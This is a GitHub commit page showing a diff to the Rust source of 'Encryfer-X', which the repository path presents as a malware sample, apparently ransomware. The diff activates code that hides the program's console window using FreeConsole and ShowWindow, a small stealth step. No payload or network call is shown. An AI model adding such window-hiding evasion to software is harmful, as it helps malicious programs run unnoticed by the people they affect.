We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 8cbe1d2 commit e1d488cCopy full SHA for e1d488c
Malware-Samples/Encryfer/Encryfer-X/src/main.rs
@@ -78,19 +78,17 @@ fn main() {
78
79
80
// Rust has better options for this !
81
- /*
+
82
// used to hide window ! there are plenty of methods avaiable !
83
- // unsafe{
84
- // FreeConsole();
85
-
86
- // let hwnd = GetConsoleWindow();
87
- // if !hwnd.is_null(){
88
- // ShowWindow(hwnd, 0);
89
- // }
90
91
92
- */
+ unsafe{
+ FreeConsole();
93
+ let hwnd = GetConsoleWindow();
+ if !hwnd.is_null(){
+ ShowWindow(hwnd, 0);
+ }
94
// Uncomment it to test it on VMs
95
96
// => Start
0 commit comments